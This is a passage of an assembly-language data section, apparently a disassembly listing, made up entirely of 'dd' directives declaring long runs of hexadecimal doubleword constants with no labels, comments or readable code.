0A2AC3C02h dd 39403AEEh, 849112AEh, 696E2A00h, 0EE7D55B6h, 0D00A0050h dd 76010DFh, 0AE13FA86h, 90000E05h, 623311FDh, 0AA3D2DADh dd 9B1A8880h, 0A800E484h, 316D0F0Ah, 0D1B3AEh, 44243DC5h dd 0CFADAC48h, 0F700A472h, 7E2A764Bh, 9FFDE8h, 1636603h dd 89EBEE95h, 14C3DA3Ah, 8EC7ADh, 85E2A53Bh, 38AFBFEh dd 0C453F9C2h, 21003AEAh, 3435B14Bh, 1E902647h, 0C31087E0h dd 0EF8CFDF4h, 0A537CED8h, 0EC1938h, 0E1A6347Eh, 11B926h dd 87E5E481h, 1A6B6E0Bh, 0EE008E77h, 59FF6A5Fh, 30D34C0Ch dd 95E33923h, 770115ECh, 0FC9C991Bh, 60C01FA0h, 0B58C0034h dd 3A3FBBD7h, 5C0F355Eh, 20D9D864h, 2C4C59EFh, 0F2F50070h dd 7A79FA96h, 3208451Eh, 4C91C5Ch, 278D16A8h, 0D1DF6120h dd 0D552004Fh, 0D4A5A047h, 93007FD7h, 6F641510h, 7180CF3h dd 0DDE112E3h, 0A0261939h, 99004762h, 32FD47FAh, 2B7624h dd 8FEF8D88h, 2F7F16B4h, 25A4EB24h, 0DD9B1000h, 361BBEh dd 62FDB6F2h, 65089606h, 1072D824h, 0F0909740h, 16197FA4h dd 0A0AFF969h, 0CCAC5E02h, 0A7A24000h, 0BD28A9D6h, 61D037E1h dd 0DA67D066h, 0B20055C7h, 71D9A6D7h, 109D241h, 0CAB92F4Eh dd 0FCEE8A0Bh, 56003231h, 89F3D06h, 53DF71h, 20A1A04Dh dd 9423CC8Ah, 0C782B700h, 7B0815ABh, 4AE0F3Ah, 0F71D8001h dd 0CF74C1FDh, 8BC8E8DEh, 14762600h, 1C9DEA6Bh, 5FDA04B6h dd 835C2B58h, 2300AF99h, 3CDC723Dh, 0DB0B7h, 12A25BC2h dd 389B0B84h, 3BEFD2h, 0A668CA88h, 7E75604Eh, 8D0801h dd 0E6FEA14h, 72EE38DEh, 83F0F700h, 0AD124CE2h, 93E92845h dd 0A0CC09F2h, 805507Ah, 0C54AA1A2h, 6C5580F9h, 0E40DF237h dd 0BCCE308Ah, 0E89D1A32h, 0B6F53600h, 23D9320h, 0F1CD0A58h dd 1DCFD78h, 97D1ADC4h, 250E81B6h, 0DEAFAA49h, 3BD350E8h dd 2F00D9B1h, 0BFFC8D98h, 0D701A73Eh, 82B4E772h, 23E4C15Bh dd 80EF078Bh, 0DC2263F3h, 0AD3E5678h, 1C2C8C5h, 3827B8C8h dd 0E74717A8h, 5D9249B0h, 590606B0h, 0D2A6B46Fh, 79B6E25h dd 0DEE147B5h, 4C80EE9Ah, 0D6F15926h, 5D0079D9h, 932DB862h dd 0E0611E13h, 37EB77AAh, 0A0C042CAh, 8B227391h, 0DE9AF40Ch dd 18EA1641h, 0F9BDD8Dh, 0E87A4E29h, 905E9326h, 6A300B00h dd 4CB6A3FBh, 2200AD54h, 5F583445h, 93072ABDh, 4FE6A2FCh dd 0B5F240EEh, 65AFBF1Dh, 9793E88h, 2F80158Ah, 13169D09h dd 9059AC00h, 0B06F3312h, 10229D02h, 946A3BBAh, 0D1CDB200h dd 3100534Eh, 0A4C4DD65h, 3F4D4CE8h, 9781042Fh, 1E8A16EBh dd 6442488h, 3561030Bh, 7A7E008Eh, 484D0B63h, 9B072ECBh dd 0C28042C5h, 9684AB57h, 320382D8h, 0FB401D00h, 0EED72574h dd 8EBA35C0h, 416CFE00h, 0FD8AFF7Ch, 4A3B0CE1h, 0AEFB9AB7h dd 7E0F0204h, 0B80B031h, 3B6FA8B3h, 9D89717Ch, 2580F784h dd 362E756h, 44C52202h, 0C0B23FD1h, 3F3EF968h, 0E2397A3Ah dd 8964E51Eh, 0D007ED88h, 0DE61710Fh, 0EBC134CDh, 78863408h dd 0AD540403h, 58E180D2h, 63003F5Dh, 0F7A3C1DCh, 4D16724Fh dd 3A74007Ah, 9805251Dh, 921AACF8h, 0D368B448h, 5F043D38h dd 0DB9DF184h, 8E09C094h, 0F9607CCh, 999522E0h, 0B83824FFh dd 2AAB0052h, 27CCDCADh, 1EB52002h, 87CB0840h, 0DEF0D4A0h dd 1309EEEBh, 0D1A50Fh, 229955F1h, 271E623Ch, 0C2007625h dd 0A9D852Eh, 586E4C1Fh, 68922A04h, 0B7084FCh, 0B5AAFDA4h dd 23206ED9h, 937C517Dh, 0D0BC3B00h, 0DCB225E7h, 58814815h dd 8718B40Ah, 6FEC00FAh, 60E2A6F8h, 81EE1AC1h, 82D08929h dd 74D900E1h, 32A56750h, 2800E69Bh, 0E3254C1Ch, 37410FA7h dd 0C336F7FCh, 6DC0D84Fh, 12C0ED2Bh, 0C858FEB9h, 9B70501Eh dd 9BA40024h, 210866F1h, 2A00CC0Bh, 0A245F3A8h, 0E53373h dd 858027B5h, 95E28D2Dh, 5A033B70h, 1C9834CBh, 1720181Dh dd 0D6D14C1Eh, 60AD3F24h, 298034C7h, 129B6445h, 0C07976E4h dd 0D5AC55EEh, 59DBB700h, 0DF603C5Ch, 0F4A000C0h, 7B17754Ch dd 9E76FAFFh, 98241C00h, 19AFFB99h, 306C130Ch, 39D14BB5h dd 0F285D200h, 9192DC9Ch, 0CD56E807h, 49917EB9h, 2D74E175h dd 0A83E13D2h, 177230BDh, 89031C9Bh, 15774AF7h, 34C7DD79h dd 0CD70E0EEh, 65A1FCAh, 8333EC0Ch, 0A800BB1Ch, 3E6A3609h dd 4D3B1B4h, 472520C7h, 0CAC8804Bh, 5F0052DEh, 7941163Dh dd 0B89CFCFDh, 5A8AB256h, 943AA0E8h, 60F39101h, 0CD37714Dh dd 2385A28Fh, 3327802Bh, 3C04D03Eh, 0C7017845h, 0DDB119D3h dd 0E43138E2h, 0D3208BEDh, 81140093h, 234144EFh, 0C10C6D4Bh dd 5282ABEDh, 0EF7E5439h, 1283605Ah, 0D98E996h, 59DA761Eh dd 1E4C2DC7h, 0C06631FCh, 4445E166h, 0F4907837h, 1A3B500h dd 89367704h, 13BB00F8h, 4FF5FB87h, 0AF17CD4Ah, 0E34CF1CFh dd 3249B6h, 0A64EE275h, 26CEDAABh, 5D5A2B09h, 22010BDCh dd 0A3B1FC61h, 0AB6F0684h, 673D0B59h, 6D80B218h, 58CB1C0Ah dd 0F1DD272Eh, 4FF4E283h, 0B2BAD848h, 0E4563FD2h, 7376FD8Eh dd 0C570AFA0h, 267D8384h, 0A7D4AB01h, 2ECB59C6h, 0D5F58180h dd 4E3F3AB9h, 0B3B63207h, 1D20BCC2h, 292CD7h, 21C65A4Bh dd 600C8C22h, 0DC106101h, 5D02F838h, 2605D530h, 1F4C7879h dd 1360C00Dh, 4A4DE884h, 8934E400h, 9C5EF9B6h, 0ED2BC02Fh dd 0A0D5D053h, 8CB46800h, 963C70ACh, 189B5E0Ah, 0ADFDCC98h dd 8059EB28h, 18BEF918h, 8FFC64h, 0E1C0BB3Fh, 4742E534h dd 0D95A3600h, 0C4F6ADDAh, 0A7CE0007h, 12A9742Bh, 7207FCBCh dd 0AFC8345Dh, 0EDE88BE0h, 60E3757Ah, 9C1B1BCDh, 4BBAAA36h dd 0A955E700h, 27613DA8h, 0B522C073h, 455764CAh, 0CBB8B900h dd 0AF752AE0h, 488FBA04h, 9400038Ch, 1876E1ABh, 0A5179BA1h dd 8240C83Ah, 0A92E959Ch, 486800CEh, 526D4D2Fh, 86061D88h dd 9BD99FEFh, 98E70022h, 30A2A432h, 360034E0h, 0FAA5DE49h dd 2173E5Fh, 7201A959h, 59599D26h, 0DCE17103h, 0B1B2906Eh dd 0E48E3C22h, 0A8174983h, 71B9E380h, 0EA8B7038h, 0C963F703h dd 0C1504161h, 20D43E31h, 650E008Ah, 0E383116Eh, 0E51777EEh dd 8730485Eh, 5AFDFAh, 0F0AA943h, 0A27635A7h, 93020100h dd 6BF3681Eh, 0B9F600CBh, 5C208FF8h, 7E000AA0h, 15918122h dd 59E69714h, 707468h, 85DA41EFh, 494E5FCh, 0B787F13h dd 0C86A3733h, 39F6720Eh, 47CC82F3h, 0CA80063Dh, 55EA86F7h dd 6B043976h, 0B9BFCCC9h, 7D7C2582h, 1B4EE946h, 0F22B62CDh dd 0BB53E0A1h, 0F51000BFh dd 8452B842h, 14FC355h, 68C28BF2h, 4DD722EAh, 5550006Eh dd 0D70692BDh, 40FE2F5Eh, 8438F89h, 45E77381h, 0A92DFB0Fh dd 0F094B96Bh, 5886E95Ch, 0DF01ACE1h, 9C6EB8C4h, 0C536604Ah dd 0AA7DE0F4h, 2D719B00h, 0E55EB5DAh, 34F045h, 5B75FD35h dd 1DC541F9h, 0F8911518h, 92B150h, 25FBAF3Bh, 0B9D6307Fh dd 0A46D5600h, 0FC9C0240h, 0E86A1866h, 0BE019111h, 99423000h dd 7271BFDFh, 0F25C1C7Dh, 163EC069h, 47BA6680h, 0F58ED06h dd 0EC390987h, 69183h, 81D68B66h, 6D621CC0h, 27028D1Fh dd 0FF3310B1h, 13C00BE8h, 0FD65BCD9h, 2E6F8B7h, 0B44DCC72h dd 0D38159F5h, 9800F38h, 0B5B77E89h, 2CEC81FDh, 70981308h dd 0FA8912C8h, 0F3DE5250h, 62D1E501h, 8E95163h, 0CE363F80h dd 7310E141h, 5A67C60Ch, 0C0606289h, 8093AF58h, 614FA8F5h dd 70F08A0h, 0FF81F7B7h, 3C7DEE78h, 0E60F85ADh, 0C0DE8B4Fh dd 6C9ABDC9h, 16073CD9h, 9C862367h, 9E420681h, 76BDF9F0h dd 9A08C7C1h, 953D8016h, 4333065Ch, 0A04021A3h, 0C08DE6BFh dd 0A621A11h, 74501DC9h, 7F19E91Ch, 0EC1148C1h, 70A3B2E4h dd 80BE60E7h, 935CADE3h, 7991E960h, 30718DB7h, 0F910C57Ch dd 2A105A63h, 0F9FBB60h, 727BEFh, 218DFF22h, 8E741D68h dd 64035874h, 126BA19Ah, 5E2001AEh, 0F67BAAD7h, 8A1080A3h dd 0A1783B42h, 0FCEB306Fh, 86E8972Ch, 23D7D300h, 846A62A9h dd 64110F42h, 0BC87BFC1h, 498C897Fh, 70A0C210h, 4FE22946h dd 9D1C0707h, 0DAD375E0h, 936803A8h, 60E2AE19h, 3097B83Dh dd 0C03EC0B2h, 0F45D07CCh, 310AA196h, 50FEEDA3h, 0AE428080h dd 19687960h, 3C787ACh, 5A827762h, 19005192h, 9609D89Ch dd 0EF46061Fh, 0A3AC050h, 0BB720092h, 0DB3ED797h, 640CD04Ch dd 61FB938Dh, 667DE3h, 9946E865h, 0B506780Ah, 0F460558h dd 0E0C2A397h, 875673E0h, 66EB2A8Eh, 0C8F91CD4h, 0F855801Dh dd 0AA7C53D3h, 0F5E880F9h, 89B0CC4h, 0EF29Dh, 24EC783Dh dd 0FF27A72h, 0BCAA7B3Bh, 9E800312h, 0F8CD090Dh, 836C14h dd 9808A904h, 8278229Bh, 767423E0h, 70B20B1Fh, 5809EE85h dd 1F80F81Ch, 75AC9986h, 207CABh, 13F1AA3Ch, 26247C3Fh dd 38967B29h, 0C37D4D43h, 957CC221h, 81560E18h, 16E5E9Eh dd 0D30913EEh, 0A03DCC94h, 589B2607h, 56C09A7Dh, 61AB0BA1h dd 21C5283Eh, 40B4E0A3h, 0A98F8605h, 6803975Ah, 0C11CC3FAh dd 39A00AEFh, 4905798h, 89628CDFh, 90F9510h, 56F7C3h, 0EF8BEDB8h dd 58710006h, 6AA5C1E2h, 0AB1841A4h, 88308D70h, 3B1188Fh dd 0E60D1868h, 0F351900Ch, 30E1167h, 91EC0B86h, 128AAA3Ah dd 406196C1h, 25D8C72Ch, 46FEC94Ch, 88BB340Ch, 0E5760C77h dd 0ED4E0630h, 58AB0791h, 3CC1EB28h, 91999F2h, 0FB405619h dd 0E8830EFDh, 0AFD8C81Bh, 7725590Ah, 0FB857899h, 58040D0Ch dd 0E23BA7C8h, 0F9B09D40h, 0EC584EB5h, 0F7598765h, 0F64F0FCh dd 3A9012B3h, 0CC201309h, 0D0A9F193h, 338E28C0h, 143FE654h dd 0C518B32h, 8C860B04h, 0E5E49363h, 0CF3055E0h, 0CBF24203h dd 0A073C4A5h, 0C1F94912h, 0C179B19h, 0C6FC2437h, 6E695500h dd 4B8B7103h, 0BEF05F0h, 735BF4Dh, 8461080Ch, 0EA14D36Bh dd 0B102F1E3h, 95C07F0Dh, 11649D8Bh, 0B5CB0224h, 0A88FEDC4h dd 0BF10BC8Ch, 191EB82h, 9823B890h, 978B80C1h, 0F050DB61h dd 0A6EC3F86h, 0E0A050F8h, 5C964C76h, 48F04A11h, 0FEF72248h dd 0D9851861h, 0FD49C0B2h, 8CC7DE29h, 0E4463811h, 6831ECA0h dd 0B2FDC1ECh, 130B9869h, 16F99021h, 106441AFh, 855C010Bh dd 0B8927651h, 85588830h, 0A364B03Fh, 0C723EC64h, 0A9420B5h dd 40547601h, 0B52451E0h, 6A640C82h, 0E680914Ah, 0C8C99DFh dd 8CDD6928h, 0B84EB716h, 549C042Ah, 0ABCC88EBh, 9B5025E0h dd 564423F4h, 12812875h, 49B17E48h, 247F603Bh, 64283EF4h dd 0A3805014h, 0C994698h, 8C3D3214h, 0EC4B6D04h, 0B20CCFEFh dd 8E02157Fh, 465C6535h, 766C44A8h, 0E76880AEh, 0CDC00C99h dd 4942CEFEh, 23AA9CB8h, 4743D442h, 9F0BB164h, 600D21A0h dd 0F73B5013h, 8141749h, 0ACC308CFh, 0C5A44374h, 0DF506157h dd 0C86A50E1h, 67BF6619h, 0A84D2E51h, 2F1881BEh, 0F1827946h dd 0D6AD8A4h, 0E3D95821h, 9FB94C57h, 0AF11EF2Ch, 0A0DF2F88h dd 66C530ECh, 42AF1E10h, 0C1ED1A02h, 0CAD1610Bh, 0F17882A0h dd 11DC0ACDh, 8D2065Bh, 3186B15h, 96F212FDh, 701FEAD9h dd 2022D381h, 9C816822h, 988112BBh, 2384D03Ch, 75C35487h dd 0C82DE440h, 0C8E09366h, 8ED8AA8Dh, 3F6F1F3Ch, 2DC26311h dd 70F30059h, 3A00BEE7h, 4BAFFE7Bh, 3EBF0CCAh, 0C1074124h dd 0C2F19855h, 1485974Ch, 0CC51C1F9h, 56247005h, 995CEAECh dd 71E44720h, 11546948h, 27006BD1h, 0E9FE9FE6h, 3B24BDC8h dd 9031C477h, 99004485h, 575420F1h, 232647ECh, 108D49Fh dd 327C8162h, 4EBF1BABh, 0F7EF1120h, 7227C680h, 0A5E07A0Dh dd 0E54CEA03h, 325961h, 99C14AA8h, 0B242C817h, 0C4B90AE8h dd 61EFEB01h, 9421D1CDh, 189652D4h, 21402E6Dh, 1AEA2607h dd 582BB702h, 0E472BA60h, 0E0D672C8h, 0AA0C00D7h, 969346C6h dd 8B1210F1h, 0B800CA14h, 0F57760D2h, 0F0DC9262h, 440D00FFh dd 48FBE61Dh, 0DC00B6D0h, 6B998D9h, 3063817Eh, 5DD03C5Eh dd 0F0C0582Dh, 9B9E41Dh, 0EB44B0FFh, 86ED5421h, 0DEEA3A00h dd 0F5608F63h, 74690761h, 906614B2h, 0ED72F6C0h, 9AA6207h dd 8664BDCDh, 80F0A492h, 0A110E4Ch, 0EC680035h, 62D7F4Eh dd 0CB0FAE99h, 749647ABh, 5F8F008Fh, 0E62AA552h, 196128B9h dd 0D87605A8h, 91115044h, 29F5EB4Ch, 19AC008Ch, 0E7933582h dd 0DBCB07A9h, 71588867h, 54520465h, 8080C4F8h, 3F2F2224h dd 0B92BBCA8h, 0C4AFCB00h, 8C932D24h, 602C74B4h, 0C1012133h dd 0DA00BACBh, 22BD7527h, 73D45D60h, 450530C3h, 7D17058h dd 53C71305h, 1A80AD2Eh, 162C748Ch, 10341CCh, 0F0C40BC8h dd 70B1808Bh, 0E62931E8h, 0CD41598h, 3B30F017h, 31F5D321h dd 269CAE00h, 0A790645h, 2A123C8Eh, 0D9937202h, 0CC8083B1h dd 30915921h, 950C1F90h, 1869B5B9h, 0F1EC1B64h, 23A0F98Bh dd 78004BFCh, 0CD3E9CDh, 36BD740h, 17F5C41Ah, 69E00B51h dd 0A898E124h, 1B0BF00h, 7D5457CCh, 33820094h, 0C5B75902h dd 0AD0068A0h, 0A958BCECh, 585B3EC6h, 70425984h, 2031F307h dd 32D704E6h, 0FCD02074h, 30006331h, 0B08D19B1h, 2AF84815h dd 1BC4405h, 0C010B3C3h, 0C8F6A8EAh, 8800280Ah, 17DB2704h dd 0C0739413h, 429E8C28h, 9800848Eh, 9D4A6020h, 0B8505158h dd 0C4A328CDh, 12E4EEC4h, 9E0A3Ch, 15668A00h, 0E512FB28h dd 30457DB1h, 14910C93h, 88C9688h, 0FEB187F0h, 65D0FB00h dd 8AF32813h, 3E5F776Eh, 850CB524h, 0AA299296h, 0A048547Ch dd 0FD409DD8h, 3A9D58BAh, 9F260FC8h, 0B44085ECh, 0C708E9F3h dd 4CEFD201h, 0DD933F73h, 0B3B024h, 0E7A01E41h, 0A80C76F1h dd 0DCAE2D01h, 0B6932501h, 0AE4F0h, 8CA92116h, 0C46C4346h dd 3F8D5514h, 1FE899F8h, 16027426h, 1CC4B6CCh, 2103131h dd 1902CBBEh, 0BB0DC984h, 50F06BF5h, 0D1F19C48h, 280790E4h dd 0B0164EB1h, 8D775F82h, 0E460409Ah, 4E9952C1h, 0CFD40041h dd 5885DCC2h, 77521464h, 3030F24Ch, 0CEC6DEEh, 5B6168B4h dd 0D0E05572h dd 78E52958h, 8EA17A4h, 69813BCCh, 0BCE4DBDEh, 0CCFCFCh dd 0CF01CA15h, 0E5F5342Dh, 0C461D4A8h, 0AB598560h, 14E2501Eh dd 0DC6D9FFCh, 0F6FD9300h, 4AA920C2h, 0F54CF83Fh, 0A3B14300h dd 9991F041h, 0B038h, 587B5DDDh, 0C021FBDh, 0A0A5C326h dd 0F53060A8h, 0A34AC18Eh, 5870F011h, 0D6068296h, 211AF437h dd 18FDB881h, 0BA4E08B5h, 0F373A295h, 0DC96909Dh, 0D8173E06h dd 4C8965A8h, 708190F0h, 0D072943Fh, 71051EB8h, 0F5EF7746h dd 9879F4C8h, 352500ACh, 4AF2B3FEh, 0FD02C2EEh, 155DC4B5h dd 202C4089h, 0EC3A2599h, 0E2338020h, 0E0C5678Dh, 2820AAE9h dd 7991AF0h, 18F8023h, 87FCF140h, 913C31E4h, 9F82FBE0h dd 64CAC04Eh, 40E67024h, 154EA748h, 71930244h, 263732A4h dd 60FC94A4h, 23BD4EB6h, 0E511AA95h, 4E9E4D0Fh, 0F4CBDC0h dd 42078AA3h, 0CF340548h, 0F5619850h, 28E4A13Ah, 8B25CC62h dd 6FA45882h, 0F8EE1048h, 6C672000h, 10FB3EDBh, 0B7FD2494h dd 0BAEB835Ch, 55D8A086h, 560EA87Ah, 80AD9074h, 0D1E68F6Fh dd 24E0B0B7h, 40681B3Ah, 0ED73E372h, 0C0006091h, 0D2E9EB9Dh dd 2D4A0066h, 0F00E846Dh, 88BAA961h, 88E42898h, 0B0F88D44h dd 0E5172E0Ch, 0F23A4138h, 85618211h, 41A40319h, 0C7840BCh dd 9FB750C0h, 8492E458h, 21422F30h, 1A2903CAh, 0B04CDE12h dd 62973460h, 3AE9C462h, 8A3080F7h, 4E8E5C5h, 8FEB9F04h dd 0D6834318h, 0EF1EC817h, 368C0063h, 0E42A73B2h, 0C9048F4Eh dd 6C1DE193h, 2CEB14E0h, 82403069h, 2FEDB06Fh, 0FABCC85h dd 0E4001390h, 0C7295C6Bh, 643F2504h, 4C805F89h, 20C06048h dd 0BB060907h, 68B9D995h, 14C24859h, 0B201F023h, 8A95B94Eh dd 5188DF18h, 0D04E019Ah, 906713C0h, 601980DCh, 0F15AA892h dd 0D86CC0BAh, 0CAFAE963h, 0F4523D00h, 2D05E294h, 0F755FE95h dd 8F9680BDh, 3B2812DBh, 1CE523A4h, 281A00DCh, 0B75A6335h dd 65F54014h, 0B60283FCh, 489888C8h, 0FCD4025Eh, 63CC89EFh dd 6B21440h, 120CC35Ch, 0F09C8339h, 49E40B4Bh, 0A880E005h dd 1C389013h, 58FA58h, 4717A6C5h, 0FE8DC2F5h, 447B045Fh dd 0A3A2F608h, 600580Ch, 0E0560999h, 82A32710h, 0B9CF7CA0h dd 0C7765403h, 287DEA00h, 0BADE2480h, 28101B1h, 318CA8E9h dd 85B030F1h, 0B1F877Ah, 0C60B5B28h, 4A3080A2h, 0EDB7046h dd 75384555h, 0B199EAE1h, 91E08665h, 38A0E7Ch, 86A059Ch dd 3DE0B09Eh, 1494A1B8h, 0C8846313h, 458064DEh, 84E30D4Dh dd 7F20700Bh, 0F988093h, 9495D5Ah, 32C7B71Dh, 98214885h dd 0CB08BC6Ch, 0C40CC4B0h, 0BF3E5C27h, 135180CBh, 0A69AC946h dd 0E8277FCh, 16BBCDEFh, 0E05C8184h, 4C05E5ACh, 0BF24940Eh dd 830234A3h, 3889F244h, 8F9040C8h, 9C58790Eh, 668066C6h dd 0C10F0991h, 0A8003799h, 0E02369ECh, 6F009C9Ch, 490C20BFh dd 584BAE1h, 0FB583C9Bh, 8A203CC1h, 2F18AC46h, 9E63D945h dd 37CC2900h, 7102C7D0h, 0C9998F5h, 0B1467EB8h, 8820F098h dd 7066030Bh, 0F7F8229Eh, 3361F079h, 63AB5C8h, 107A3079h dd 3B6DD9BAh, 0B5BD938Ch, 1B0D9C40h, 60BF2BCBh, 458B810Ch dd 0D0268F5Dh, 7071C82h, 8D0096BAh, 39BD7A2h, 0E194197Fh dd 51007D2Dh, 1C81A32h, 99101786h, 60210090h, 0A28C853Fh dd 429CBE00h, 1CE41E82h, 8D0C05EBh, 949605C4h, 0D64818Ch dd 0E08E0281h, 883E2F54h, 0D0074D7Ah, 0F4AAFFE5h, 69C024C4h dd 0FA58DFh, 766263B3h, 0F7A8FE8Dh, 3B96C704h, 409069F4h dd 4E2393h, 0D7120E42h, 344E916h, 74F56300h, 10FFFAF7h dd 0BC601E0Ch, 0EC51075Dh, 2BB9A03Ah, 0EF07CB5Fh, 64874F2h dd 147315C5h, 0EAA6C75Bh, 0CE420F30h, 0CB84F656h, 0F5F34035h dd 605366h, 0B00159EEh, 4DF7A70Eh, 8368BF3Eh, 4758F317h dd 1874AAh, 0CD6EEE57h, 568C253h, 2880546Ch, 527307A4h dd 404AF9ECh, 4743C15Ah, 5D2BBF06h, 18315ECBh, 5949BD06h dd 4CE3E944h, 84A4BA0Ch, 15DF000h, 4845FA63h, 73C10054h dd 66F105F7h, 29DDB9CCh, 0D42C8F04h, 0C0DA4583h, 0C07792B6h dd 0C6E2BF49h, 64303A19h, 917B31BDh, 0F22C07E8h, 0E2CBD643h dd 75C39EB9h, 0A178B6F8h, 0DCC7C800h, 0EE7C212Fh, 949903BBh dd 0DAD72711h, 263C0CE0h, 8EE3E000h, 91B738B6h, 3F71C0AFh dd 85B51D16h, 3BE2E102h, 0E03CDCF7h, 69962C1Eh, 9600A0E7h dd 0BBB9C91h, 0C36336F4h, 28C14E98h, 201839A1h, 68C8DB0Fh dd 10131B46h, 804D6829h, 0EF70FE00h, 613BDDDCh, 62955996h dd 8DF11BAh, 0E20DD401h, 4C0340ABh, 3800D596h, 0F2457F7h dd 0E916E187h, 104F3188h, 83A87614h, 18E4A0D9h, 592B4E30h dd 6D018130h, 0D943F1A9h, 7880C042h, 201AA0D8h, 0D0A0BC21h dd 438693CBh, 18421182h, 499839Fh, 30188E59h, 0C2B9E37Fh dd 8C803089h, 0AFBA9268h, 643EB41Dh, 6067A468h, 165A4F1h dd 1F78DC50h, 0C85DFD4Fh, 1FD23070h, 0F18C511h, 584C052Dh dd 0E58019Eh, 82D8E287h, 14917E91h, 2F184241h, 31B8B88h dd 191C9A58h, 0D1177630h, 434C52DBh, 0C1158A5h, 839117E8h dd 0AE929306h, 0F839DAD6h, 812E1418h, 0E68FA46Ah, 0D4E4AC90h dd 0B8F67490h, 67288821h, 3B8848B2h, 10435665h, 0D566A608h dd 84B4506Ch, 85B8B342h, 0D7EB1084h, 760EF8B9h, 7B428E16h dd 16502323h, 2250AC49h, 1B461D51h, 0D6B1C6A0h, 281F508Eh dd 0FE428D93h, 6E2214BDh, 63CB3E1Ch, 0B0EAE143h, 1F77210Ah dd 56F92183h, 69280CA2h, 5C04094Eh, 926CD18Dh, 0CC21BA78h dd 0A06A8960h, 805F1834h, 38CA80Fh, 0EAD2137Dh, 668C2211h dd 0A3001008h, 0AA13356Dh, 1458CC34h, 9C02919h, 8DFF2512h dd 9238C6ABh, 8304797Dh, 2A91B46Dh, 2911A4D6h, 8D4CB092h dd 20C12E96h, 7E192F98h, 0A4D1B1E1h, 752B3832h, 0F3609E3Ch dd 1104CA40h, 4957340h, 484EE888h, 81CADCB5h, 71414CA8h dd 56581702h, 7C02DD9h, 5BE90188h, 0B4C1ECCCh, 0F0ED5300h dd 0EC1A0169h, 1D5DE83Fh, 0C00C4AEBh, 0B16058C5h, 0FF766FD9h dd 51422D0Fh, 52B5A0EDh, 1669E857h, 0FF60646h, 1BBD1FF4h dd 115828EAh, 16523E10h, 0FC0074E9h, 0F051B4A6h, 46590FECh dd 17C060h, 0CE69EE04h, 56F0BF58h, 5E05ED78h, 9BF45A48h dd 0ADB9EC8Ch, 9B407D04h, 9073BFF4h, 0A2C239B4h, 15F1678Ah dd 0E6755018h, 0E2B811C7h, 0CC00B15h, 193F5FFh, 0F66FB5F0h dd 80152612h, 27913118h, 943F38Fh, 115767EEh, 8C993CA0h dd 8B0C749h, 1EE6E80Fh, 884602A6h, 0EB97000Ah, 0B44A7B89h dd 45117830h, 76C0703h, 0D0D8F29Bh, 96A51A3Fh, 0CCB887F8h dd 7A5CCF02h, 53318B51h, 49A61B4h, 181834Ah, 795F6BAh dd 0F7D85CD9h, 4D89490Dh, 9C79BC20h, 581567F5h, 3D7C5426h dd 4CA3878Fh, 0D858AC28h, 2B2E892Eh, 0FC029860h, 0C082974Ah dd 0A0DF870h, 3409CBCFh, 0A28C0C8Ch, 4E049668h, 0EA8E187h dd 7EFE84A4h, 0E240C016h, 6437697Ch, 0FD1EE701h, 3DF8394Ah dd 0D448A2E1h, 8CF1523Bh, 0F344C38Fh, 0C3A07855h, 24858080h dd 0F20EBBE9h, 0EF010044h, 0AD7C4E42h, 9C6375B3h, 34D21800h dd 0D9E42743h, 0BB7FCE7Fh, 48E889DCh, 8608F762h, 78284C14h dd 5C6491CEh, 65497E6Eh, 9C801117h, 7712E06h, 0EE66292Dh dd 85F2A554h, 0EA3B802Dh, 37765BFh, 3A5CE83Ch, 0CB785863h dd 4B5003F8h, 0DF4E8F51h dd 45D31903h, 66FAA0E7h, 2B590102h, 32D7C97Ch, 0A9444811h dd 6ADA0D01h, 374767E5h, 0A710458h, 0E63205A3h, 108680Ch dd 51F757D8h, 746014E0h, 0B163D3DAh, 3C089F78h, 923E8678h dd 11E210D8h, 4E9C13BDh, 155E3111h, 0E2D0C48Ah, 0D041652h dd 0E1112A4Fh, 603103Ah, 0C81028A5h, 895C0F40h, 0E35C4D58h dd 8E272C4h, 834E1370h, 0DBC4DE90h, 4F15B09Ch, 0C3CBB9Fh dd 0D10B4D1h, 0DA50008Ah, 0D055EB99h, 0D9341818h, 29D41E49h dd 0ACA6A5E0h, 64440965h, 122E895Fh, 4D602461h, 7449CBh dd 2C19CC2Dh, 36892709h, 28242912h, 1680334Fh, 0CE8FF3CAh dd 1E9C80Ah, 0D8CFCD2h, 0A50FB8DBh, 2EA0B484h, 0A03BA204h dd 6611E608h, 0E87EE85Ah, 1F0D7891h, 1443B9E7h, 933BD8B6h dd 780F1F00h, 68E65765h, 80361E8h, 0D396691h, 0A331A3F9h dd 0E0E9C37Fh, 741CB211h, 40566044h, 0EBF438Ah, 0BD65631Ch dd 489A9D52h, 0FF04D0FFh, 14ADB4EAh, 0E8A4A680h, 0AA19A1F6h dd 391955FEh, 0BCE0384Ah, 8F104873h, 0FD03149Dh, 0FF8D476Eh dd 6F020910h, 0A50E4840h, 5857FD04h, 3000DD8Fh, 47794643h dd 379A3BBCh, 5221BBE1h, 3895164Fh, 80A68B60h, 18500EFFh dd 66C3C440h, 180011E9h, 5D5AE078h, 3E450DB3h, 1C503132h dd 2C7F803h, 55A37E95h, 2891152Dh, 0E49C7A1Ah, 561F0CD5h dd 752814CFh, 8B0185Eh, 8CF8D1h, 0B2EDA4C8h, 0EE22A738h dd 0EC14D90Eh, 0E75B40E9h, 6FD502h, 73A65CCCh, 9B0DFA48h dd 0E80036E8h, 0EC930169h, 52543Fh, 0BA2574F2h, 0F005689Fh dd 1A9C11Dh, 0F758F307h, 2414C820h, 0C42F859h, 43F10605h dd 4900C040h, 38F43652h, 54EE5BCCh, 0F584015h, 62CD4ABFh dd 5663D043h, 60161F0h, 30AAED29h, 56EA9830h, 1C7353C2h dd 54053D04h, 0CFBA01F1h, 0C0E5CC65h, 0A492EAD0h, 0DCE5B760h dd 887E5651h, 880789A4h, 4767C00Dh, 0EBC518BAh, 5EA420FEh dd 0A70502A9h, 14C26247h, 0EFCC2C60h, 7074ECh, 668B02F2h dd 9AA2A9FEh, 385453h, 41D0AABBh, 0A5D06FEh, 61E85FCBh dd 40385214h, 0FF009B11h, 4E24CD2Bh, 0E9056FEEh, 0F85065F5h dd 2F67475Bh, 70598533h, 0A0925057h, 0F8F2A900h, 0F6EBA6D4h dd 42141EA1h, 5D49C9F3h, 0E9730882h, 0FFCD3460h, 98EF79h dd 0D060C2F8h, 47B50D28h, 98C34803h, 6EEEEC00h, 58AAA794h dd 0F352480Eh, 0A9F08274h, 31A840B3h, 999A7842h, 888A8020h dd 0CD3FF1FFh, 64ECEB48h, 748CEF50h, 34A91A87h, 177D9042h dd 8B005D04h, 5BEB5A97h, 2E050ECBh, 0E8C956A4h, 48989655h dd 